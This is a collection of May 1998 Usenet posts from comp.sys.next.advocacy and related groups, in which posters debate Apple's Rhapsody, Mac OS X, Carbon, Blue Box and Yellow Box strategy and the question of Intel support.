Only now, MacOS developers won't HAVE to port their apps to Yellow Box to
support Rhapsody.
> if
> you're happy with having to go ppc, then there's no problem. if you were
> looking for something that didn't coerce you into using ppc, then
> there's a problem.
Why? Rhapsody for Intel is still available, and writing YB apps will still
allow them to be deployed across both platforms. What's the problem?
Andy Bates.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 14 May 1998 17:33:03 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfnuf$7to$1@crib.bevc.blacksburg.va.us>
References: <355B510B.250023F2@milestonerdl.com>
I doubt Apple pays much attention to newsgroups. Have you mailed them
about this, and/or asked anyone at WWDC to ask for clarifications?
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 16:32:05 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com>
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In article <355B2F43.D365D2F1@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
<snip>
> With a fully functional, working blue box environment as originally
> described by Apple, there would have been no reason on earth why
> Rhapsody *couldn't* have done exactly that. That's the purpose of the
> 18-month delay and Carbon....blue box couldn't be made to perform as
> originally advertised.
The Blue Box performs _better_ than "originally advertised" *right now*.
It is still not good enough to make Rhapsody a mainstream Mac OS
replacement without Yellow Box support from the big name companies.
> > That way he didn't scare those faithful to the Mac OS away. There is a lot
> > of power in a name. With the focus on Mac OS X's backwards compatibility,
> > Apple assuaged fears that all the investment in the current Mac OS would be
> > lost.
>
> At least you admit to the PR core of this whole thing....
Well, yeah. I think I said as much in at least 10 posts (though never with
"PR").
> > Not at all. Rhapsody will be available in Q3 '98. Those people will have an
> > OS to run their products on. I will very probably be buying a few of those
> > products. There will likely be a bigger market than there was for NeXT, but
> > it will not (initially) be as large as the current Mac OS. There is no
> > getting around that.
>
> Oh, sure. It's all so simple. Apple is now on a TRI-OS strategy, and
> that's just so simple and straightforward for everyone--MAC OS
> 8/8.1/8.5, etc., Rhapsody, and now Mac OS 10 which will be significantly
> different from both. Yes, it's such a simple, easy-to-follow strategy
> that developers will be thrilled over it....
Just because you are having problems following the strategy does not mean
that Mac OS developers are.
Mac OS X is not significantly different from Rhapsody. Anyone who buys
Rhapsody and then buys Mac OS X will see no change except that Mac OS X is
more polished and has an updated core (such as a Mach 3.0 variant instead
of 2.5)
> > I never said it was a reason for developers to stand and cheer. I said that
> > it is a reason for developers not to panic and leave the platform entirely.
> > There is quite a difference.
>
> What reason? That Apple *said* "hang in there for a couple more years
> until we figure out what we *really* can do?" I don't see much reason
> there, myself.
Apple said that they wouldn't orphan the entire line of Mac OS with the
release of Rhapsody. THat's a pretty good reason.
> > There _will_ be a Rhapsody 1.0 though. It is going to be released (by
> > Apple's claims) this year.
>
> But Jobs has already *killed* whatever impact the release of Rhapsody
> might have had by this Mac OS 10 stunt. Notice Jobs said *nothing* about
> any future at all for Rhapsody past 1.0. That hardly will engender
> anyone's confidence to do much of anything with Rhapsody when it *is*
> released.
Rhapsody 1.0 may have had a _negative_ impact. If Apple had pushed that
instead of the Mac OS, developers would surely have balked. The whole
reason Apple pulled this backwards compatibility stunt was because
developers weren't developing for Rhapsody. Apple has now provided a way to
replace the Mac OS entirely as a mainstream OS with Rhapsody without
scaring away users and developers.
> > I think few people really understood why Rhapsody was so compelling. Those
> > who already had a large investment in Mac OS code couldn't figure out why
> > they should go to the work to rewrite everything for the Yellow Box. Apple
> > is providing a solution. Those who believe Rhapsody to be compelling will
> > be satasfied by the release of Rhapsody and even more so when it moves into
> > the mainstream as Mac OS X.
>
> Had blue box worked as advertised, there wouldn't have been a problem
> with legacy applications. You don't think applications will have to be
> rewritten to run in the optimum OS 10 environment as Jobs has theorized
> it? Of course they will. The "tweaking" only refers to legacy aps--new
> aps will have to be rewritten to run on Mac OS 10....
You do not understand.
New apps are being written. Not *re*written. The tweaking refers to making
sure that the Mac OS app uses only those 6000 out of 8000 API functions in
Carbon that will allow the application be brought out of the Blue Box and
make use of PMT and PM.
People writing new applications should be writing for Yellow Box. Mac OS
developers with old code who don't want to rewrite their apps for Yellow
Box should be tweaking them for Carbon. If they don't do that, then it's to
the Blue Box with them.
> > Actually, the RDF was working full force. It was doing so quite succesfully.
>
> I'm reading a lot of comments here from people aside from myself which
> indicate that the RDF is buckling and developing cracks if not
> chasms....People just get tired of being led endlessly around the bush.
It is the reaction of people like yourself that proves that the RDF was
working full force.
There was very intentional, entirely deliberate avoidance of specific
Rhapsody technologies to foster the idea that Mac OS X is just a better
version of the Mac OS. It is... it's Rhapsody with a name that developers
are comfortable with.
> > Yes, but there will be Rhapsody in the mean time.
>
> As I say, when Rhapsody is released it will come with a whimper, thanks
> to Jobs' Mac OS 10 stunt.
We'll see.
> >When Mac OS X rolls
> > around, it will stand as a _replacement_ for the Mac OS, but will _look_
> > like a simple enhancement and extension of the Mac OS. Few people seemed to
> > catch on that Mac OS X is basically just Rhapsody. They were cought by all
> > the focus on backwards compatibility and the deliberate lack of focus on
> > the Yellow Box and such. As I've said before, Apple didn't announce the end
> > of Rhapsody, but actually announced the end of the Mac OS!
>
> The problem with all of that is that it is pure theory. We have yet to
> see the reality of it.
Read what was said. What we know as the Mac OS right now will be dead when
Apple releases "Mac OS" 10. Mac OS 10 is Rhapsody renamed.
> > Right. That's why Rhapsody DR2 is available _now_ to developers and why
> > Rhapsody 1.0 will be available soon for everybody who wants it.
>
> Jobs has made sure that few people will want it, now.
Do you _really_ believe that the general public even knows about Rhapsody
much less will want it? Rhapsody will have relatively few apps to begin
with. None of the big name companies have announced support for it (ie
Microsoft and Adobe). That has absolutely nothing to do with Monday's
announcements. Monday's announcements were caused by this very fact. It was
not the other way around.
_I_ will buy Rhapsody as soon as it becomes available to me. That has not
changed with Jobs' announcement.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone notice?
Date: Thu, 14 May 1998 23:36:53 +0200
Organization: pv
Message-ID: <1d91lbo.6mpjjqfbj20pN@dialup184-4-8.swipnet.se>
References: <355a240b.0@news.depaul.edu> <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se> <pxpst2-1405981516570001@pelli.pathology.pitt.edu>
Cache-Post-Path: nn1!s-49817@dialup121-2-43.swipnet.se
Peter <pxpst2@SPAM.SUXS.unixs.cis.pitt.edu> wrote:
> The new leadership has met the deadlines without missing a beat.(to me
> meeting a dealine in the software business means hitting the target date
> +/- a month.)
You mean like Rhapsody Premiere late 97 - early 98?
> Just out of curiousity, answer this question. Is MS very good at meeting
> deadlines? Hint: think NT5.
I don't know. I have no interest in NT.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 16:47:29 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com>
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In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > The only differences between the two are the names, the possible lack of
> > the Unix BSD layer in Mac OS X, and the presence of the Carbon APIs in Mac
> > OS X. Other than those, the two OSes are the same.
>
> OK, then, Jobs was lying when he said Apple was dropping 2000 APIs, of
> course.
No, you just don't understand.
The Blue Box is a compatibility environment through which the full Mac OS
can run. Mac OS apps run in this environment. The Blue Box is basically a
big application that maps the Mac OS low-level hardware calls to
appropriate Mach kernel calls which then deal with the hardware. Inside the
Blue Box, there is no protected memory just like the Mac OS, and these apps
are stuck with the same old cooperative multitasking *because they are
running on the Mac OS*. The Mac OS in this case just happens to be hosted
on another operating system.
The Carbon APIs are a subset of the current Mac OS APIs. Apple dropped
around 2000 functions of about 8000 that made it impossible to provide
applications using the Mac OS API to make use of preemptive multitasking
and protected memory. The remaining 6000 API functions are being
reimplemented to be 100% PPC native and allow a Mac OS application that
makes use of _only_ this subset of the Mac OS APIs to be preemptively
multitasked and protected from other applications in memory. The Carbon
APIs and applications that make use of them *ARE SEPARATE FROM THE BLUE
BOX*. The Blue Box contains all the Mac OS APIs. Carbon which resides
outside the Blue Box doesn't.
Mac OS X will ship with *BOTH* the Carbon environment and the Blue Box.
Applications that have not been reworked to use these Carbon APIs will be
forced **TO RUN IN THE BLUE BOX**.
> Really, what you are saying is that this entire Mac OS 10 thing is no
> more than a publicity stunt desinged to hide the fact that Rhapsody as a
> consumer OS is almost two years late.
Rhapsody as it was would have never made as a consumer OS since none of the
big software companies endorsed it. That _forced_ Apple to do what they did
on Monday.
> If so, it's too stupid for words.
No, you just don't understand.
> Mark me, Jobs has already started his decline at Apple. This bumble,
> along with the iMac fiasco, will set the stage for Jobs' soon
> retirement.
We'll see.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: donm@ftel.net (Don Morse)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Date: 14 May 1998 21:44:48 GMT
Organization: Franklin interNet -- http://www.fnet.net/index.html
Message-ID: <6jfokg$un7$1@ting.ftel.net>
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com> <6jf7oi$5cc$1@interport.net>
In message <6jf7oi$5cc$1@interport.net> - float@interport.net writes:
:>
:>Nephilim (nephilim@hotmail.com) wrote:
:>
:>: How many people do you HONESTLY know of that
:>: could run Unix? Those of us who can run Unix are the elite few.
:>
:>Anyone who can make NT work reliably is more than skilled enough to work
:>Unix. In fact, they might be able to turn water into wine and heal the
:>sick.
:>--
:>
:> Ben
:>
:><Just Another System Administrator>
Folks may want to take a peek at Caldera Open Linux... It's
becoming a real, install and run OS.... If IBM is unwilling
to promote a technically superior OS, (OS/2), then Linux
may just be the next wave...
********************************************************
If a million monkeys on typewriters can eventually
type out the Bible, given enough time.
Then Bill Gates had 25 monkeys and a week!........
********************************************************
dmorse@pacificnet.net using Merlin and EmTec News
ICQ for Java ID 3832817, AOL Instant Messenger Merlinof2
********************************************************
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 15:56:31 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jfpaf$70a$1@xmission.xmission.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <6jda1o$lf$1@xmission.xmission.com> <andyba-ya02408000R1405981301390001@news>
In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
: When speaking to the issue of MacOS compatibility, you can assume that
: "Rhapsody" means "Rhapsody on PowerPC." In that respect, yes, Rhapsody is
: being rolled into Mac OS X. However, Rhapsody for Intel is still coming
: out, and will still be supported. See copious notes from www.stepwise.com
: about WWDC sessions that verify this.
Yes, these notes are now available. But at the time you posted, they were
not.
I now have reason to believe that the Intel OS strategy is Rhapsody beyond
CR1, but it is not yet authoritative.
Maybe authoritative evidence will appear today.
............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <6jfm25$7o4$1@crib.bevc.blacksburg.va.us>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355b6ca6.0@206.25.228.5>
Date: 14 May 98 22:13:58 GMT
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> In article <355b5409.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > You're likely right. But who is going to make all those cool
> > freebee apps, or the cheapo 20buck apps.
> The same people who make them for the Mac, maybe? People who
> don't mind if they run just on Macs?
True, yet they are NOT the same people who do it all for free on
windows, a tad bit bigger set of developers. You're loosing a huge
segment there.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 14 May 1998 22:13:43 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1405981813260001@pm60-35.magicnet.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <6jf5ok$30u$1@interport.net> <355b21d4.0@206.25.228.5>
jkheit@xtdl.com wrote:
> Yes, but PC are not PC laptops. And PC laptops, generally, and
> especially as of late, are very good indeed (anecdotal exceptions
> notwithstanding).
Actually, from first-hand experience with PC laptops of all kinds, most PC
laptops are... adequate. They might have nice screens, and moderately
quick processors, but their video boards tend to be sort of weak-kneed,
and far too many of them have kludgy design problems that can cause
constant irritation (like the "800 x 600" and "640 x 480" outputs on many
newer machines that are just masked-off windows in the middle of the 1024
x 768 screen, which means that many LCD projectors won't work very well
with them).
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 14:34:21 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B473D.64D8E298@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <forrestDELETE-THIS!-1405981252280001@term1-21.vta.west.net>
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Forrest Cameranesi wrote:
> In article <6jff08$7ei$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > > > But the main point is that the people who "fell for" developing for the
> > > > Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
> > > > part of MacOS X.
> >
> > > And if you 'fell for it' as part of a cross-platform spec, you will have to
> > > move elsewhere.
> >
> > Wrong.
>
> To expand on Mr Urban's wonderfully concise statement:
>
> Yellow Box is not dead. It exists in MacOS X. It exists in Rhapsody PPC
> and Rhapsody Intel (which will continue as a separate server/developer
> line, likely under the moniker of 'MacOS Enterprise'), and it exists in
> Yellow Box for Windows (which now costs $20 due to some stupid licencing
> fee Apple has to pay. Damn you Adobe,
http://www.macnn.com/macnn/reality/archives/051198/news.shtml(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was very vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
So, explain the above. Esp. the 'stay clear' part.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 98 12:29:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1809421-72A1E@207.217.155.114>
References: <355B31C4.77DFDC17@spamtoNull.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Harker wrote:
>OK, then, Jobs was lying when he said Apple was dropping 2000 APIs, of
>course.
>
The ultimate clue that you're clueless too is how you phrased that
sentence. A more correct term would be "function calls". It would also be
nice if Apple had a CEO who didn't leave me cringing at his word choice,
but that's a different issue.
When engineers get together and chat, an "API" is generally a _set_ of
functionally related function calls. For example, the Appearance Manager's
API is a real improvement over the old Menu, Window, and Dialog Manager
APIs.
What Jobs _really_ meant in his keynote was that the whole MacOS API has
about 10,000 function calls, of which about 8,000 could be mapped the
MacOSX underpinnings. Many sets of function calls (the sets are APIs, such
as the Speech Manager) are still under consideration.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 98 12:43:19 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1809773-7F1C1@207.217.155.114>
References: <355B365F.929E049D@spamtoNull.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Harker wrote:
>To me, a "competent" blue box would definitely have solved deployment
>issues as effectively as the new theoretical Carbon scheme is projected
>to solve them. The fact that it didn't is testament that it didn't work
>as *it should* have worked.
As first proposed, Blue Box was a virtual machine which did not share
screen space with the host OS. I don't know whether I was or still am under
NDA for the Blue Box lab at WWDC last year. Let's just say that the lab
existed and there was reason for Mac developers to be excited about what
they saw.
Mac developers were disappointed, however, that existing apps could not be
first class citizens in the Rhapsody environment. I.E. a Mac app in one
window, a yellow box app in another. My notes from the public Blue Box
session last year indicate that an Apple engineer suggested that something
Carbon-like was the future but that there would be compatibility problems.
With that in mind, Carbon was not a complete surprise to me.
>If it had, there'd have been no need for the
>Carbon approach. Obviously, Apple discovered blue box wasn't what they
>needed *after* they'd spent considerable time and effort attmepting to
>make it into what they needed. On the timeline of solutions to legacy
>support, blue box came first, later *followed* by the Carbon approach.
I agree with your timeline comment - see above. As mmalc pointed out, the
politcial issue with this whole thing was that most Mac developers weren't
moving to the Rhapsody bandwagon. I've seen 1000 valid reasons why a
developer would not want to move to Rhapsody. Apple had to deal with
reality.
>The real BS to me is that Apple took its sweet time in announcing Carbon
>in the first place. Rhapsody could just as easily been carbonized as the
>Q3 1999 Mac OS 10. If only Apple had thought of it sooner.
They had. And the thing I think you miss is that there _will_ be a Blue Box
for non-Carbonized legacy apps. It was impressive a year ago, and will be
impressive 16 months from now - if we get there. I do agree that Apple
Heaven has been perpetually 18 months away for several years, and my
patience long since ran out with the Apple Future. But this plan makes
sense, and I think is a positive sign that Apple might be starting to
understand its developers again. Apple has a long way to go.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 17:00:53 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfm25$7o4$1@crib.bevc.blacksburg.va.us>
References: <6jboq5$eua$9@news.idiom.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5>
In article <355b5409.0@206.25.228.5>, jkheit@xtdl.com wrote:
> Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> > John Kheit wrote:
> > > Speaking of which...will any of this mean a damn if the rumor of
> > > YB not being free for developers on windows? Who is going to use
> > > it if dlls are not free?
> > The traditional NeXT clientele for one.
> > And for custom business applications $20 are a LAUGH.
> You're likely right. But who is going to make all those cool freebee apps,
> or the cheapo 20buck apps.
The same people who make them for the Mac, maybe? People who don't mind
if they run just on Macs?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Thu, 14 May 1998 15:16:11 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B510B.250023F2@milestonerdl.com>
Mime-Version: 1.0
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Because Apple has been unclear on this, and the lack of clarity, coupled
with statements credited to Apple staffers such as "warned them to stay
clear of the Intel situation since they aren't quite secure in this
area." will limit the believablity of any 'cross platform YellowBox'
message.
(hows that?)
From: russotto@wanda.pond.com (Matthew T. Russotto)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 21:10:46 GMT
Organization: Ghotinet
Message-ID: <6jfmkm$9tn@netaxs.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us>
In article <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us>,
Nathan Urban <nurban@vt.edu> wrote:
}In article <355B3744.18038EC5@milestonerdl.com>, mark@milestonerdl.com wrote:
}
}> Show where there is a cross-platform future?
}
}Show where there isn't. Everything I've heard Apple say about
}cross-platform speaks of their committment to it. The statements might
}not be everything you want, but there isn't anything that suggests
}there is none.
Forget what they've said. What have they DONE lately?
Answer-- damn little. They released the "Now Mac Looks More Like Windows"
System 8, and then finally got HFS+ out the door. As far as really
new stuff... nothing. No Copeland, no Rhapsody, no OS-X, no nothing.
Just constant course changes and delayed ship dates.
--
Matthew T. Russotto russotto@pond.com
"Extremism in defense of liberty is no vice, and moderation in pursuit
of justice is no virtue."
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 21:20:08 GMT
Organization: Michigan State University
Message-ID: <6jfn68$15o$1@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
<355a887d.0@news.camtech.net.au>
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Cc: timothyp@tne.net.au
In <355a887d.0@news.camtech.net.au> "timothyp@tne.net.au" wrote:
> In article <6jco3t$6ns$3@msunews.cl.msu.edu> ,
> spammers@ruin.the.internet.channelu.com wrote:
>
> >So perhaps this is supposed to make me happy. Why in the heck
> >would I want to write for Carbon when I can write for YB.
>
> Geez, even I get it by now. Listen, if you are writing a *new*
application you
> should write using the YB (assuming you are not a long-time Mac user
who breaths
> the API's etc). This way you get X-platform access and the beauty of
using the
> YB API's for rapid development.
>
> Now what about the poor shmucks that already have umpteen thousand
lines of Mac
> OS code. The old plan was to run them in the Blue Box. This mean't
they
> coudn't play nice with the kids from Beverly Hills ( YB apps) but had
to stay in
> their own sand-box. They had no access to PMT, MP etc. Mac
developers weren't
> particularly chuffed at this or the thought of a re-write to a
completely new
> set of API's. Carbon gets around this. How? By getting rid of the
2000 or so
> API's that didn't play nice. So Mac developers can now port there
applications
> to Mac OS X using the carbon API's and they will run as well as an
application
> written in the YB, with all buzzwords. AND they dont have to
re-write the whole
> application. Just get rid of the bad API's.
Yes
> The trade-off?
> If you write using the carbon API's you don't get to go X-platform
(as yet
> anyway, although rumours are flying thick and fast). If you use the
YB API's
> you get the whole gammit. So really, for old developers there is no
trade-off,
> since they never expected to run on Intel anyway.
You still get everything MacOS wise that you thought you had, and more
yes.
Carbon on intel - who knows. But no-one is expecting it. But Mike P
says
there is no reason why not. (assuming it's built on YB)
> For new developers it would be foolish to write using anything but YB
(assuming
> Apple is serious about pushing YB on Windows and Intel-mach).
>
> OK. Now I have a few questions. What about DPS? Presumably the
trade-off Mac
> OS X has is that it still uses QD. If so then will DPS be phased out
over the
> next 18-months? What will Apple use? Will Rhapsody continue as a
server OS
> still using DPS?
DPS will probaby dissappear - certianly in MacOS X. In Rhapsody who
knows.
What will replace it - some new graphics layer - many are suspecting
some kind
of X. Which might get them YB on FreeBSD, LInux, and many other OS's
that
rely on X for their display. And hey if they do
OpenGL/accelleration/support
maybe we'll get some awsomely snappy 3D display engines & displays..
> Tim Priest
>
>
> > Now if
> >your going to tell me YB on Mach for Intel is dead then I'm going
> >to be a little upset.. If you say hey you get YB on 95/NT I say
> >garbage give me YB on Mach on Intel..
>
> I don't know what goes on here but I'd be surprised if Apple pulls
back from
> X-platform support. Software is where the money is in the long run.
Hardware's
> margins are getting suckier everyday. Having said that Apple has
shown to be
> insane on previous occasions.
How does YB on Mach on Intel (aka Rhapsody/Intel) equate to X-platform
support.
Rhapsody and MacOS X may be two seperate products (some internals
identical
some not). Rhapsody is going to be cross platform, MacOS X will be PPC
only
unless something dramatically changes in the next 12 months.
>
> >I can do w/o Bluebox
> >and Carbon on Intel - if it can be ported and get me Carbon
> >Apps on Mach on Intel - then fucking great. YB on Mach on
> >Intel. Say yes to this Apple!! Put your darn money where your
> >mouth is. 2x faster. I'll tell you whether it's 2x faster when
> >Rhap1.0 ships for Intel and PPC. Then we'll all know if your
bluffing or not.
>
> How would you know if they didn't want you too? They could easily
cripple the
> Intel-Mach version. Sure they'd just be like MS then but they could
do it if
> they wanted.
Because with our codes I can use Linux, & Rhapsody on Intel and if
Rhapsody on Intel sucks compared to Linux and Rhapsody on G3 slightly
faster than Linux on Intel then I'll know.
>
> >If your not then you have nothing to fear from the PC's since I'll
> >pay roughly 2x the price if the speed is 2x, and the integration
> >is top notch (like black hardware). If you really believe in PPC
> >and believe in YB then don't dump YB on Mach on Intel because
> >it could eat into your PPC sales. Trust that folks will buy from
> >Apple because they'd rather get a 2x faster machine for 2x
> >the price. Why? Because if you've done your job right
> >to get the same performance I have to eat twice as much
> >power. And I am a bit sensitive to this issue (how much
> >power a machine consumes). Also to have jobs take 1/2
> >less time on a particular node would be very important to me.
>
> THis is a thorny point. Apple would like to transition to a major OS
software
> company I'm sure. But, it wont happen overnight and until then
hardware keeps
> them alive. Look at how the clones ate into Appl'e sales. Imagine
how Intel
> clones would. Don't tell me most people will pay a premium for
speed. The
> amount of low cost (low margin) machines sold in the last twelve
months shows
> that most users have neither a clue or a care about having the
fastest machine.
> They just want a FAST machine that is CHEAP.
> This is Apple's problem at the moment. I would rather see them
slowly
> transition (not stop but transition) to being chip independent. That
way they
> will not be relying on OS sales that may not eventuate.
It may be true that Apple wants to drop the Hardware and transit to
software
but I think Apple has decided it can sell direct - reap the full
company to
end user profit - while still selling software. Clone's ate Apple up
because
Apple wasn't on top of the hardware curve. Plus all the cloners could
just look at Apple's designs and then improve. Cloners created no new
markets. Many of my clients would not purchase two cheap machines
which would equate to performance out of one. My clients want the
best price performance out of a single box. Now that Intel is getting
nearer it is much cheaper to deck out a PII-333 (clocked to 375) with
512MB SDRAM, UW than anything else. And that box keeps up well with
a Indigo2 R10K 195Mhz for many of our jobs. A Origin would be
superior but the factor of 6-10 in price isn't worth a factor of 2-2.5
in
performance. And that doesn't factor in support, software,
developement
tools etc.
Only for the secretaries and low cpu intensive tasks would you want
the absolutly cheapest box because you just want people at computers..
We are talking about two different markets
(1) Compute intensive situations (want less & more powerful boxes)
(2) General desktop use (cheapest box/person)
I agree the general public wants the lowest end user cost machine
and if Apple thinks it's going to compete in that arena your right
they have another thing coming. I personally think that they
can compete in some different markets - the low cost market
is just too damn cutthroat. If Apple is committed to YB on Mach
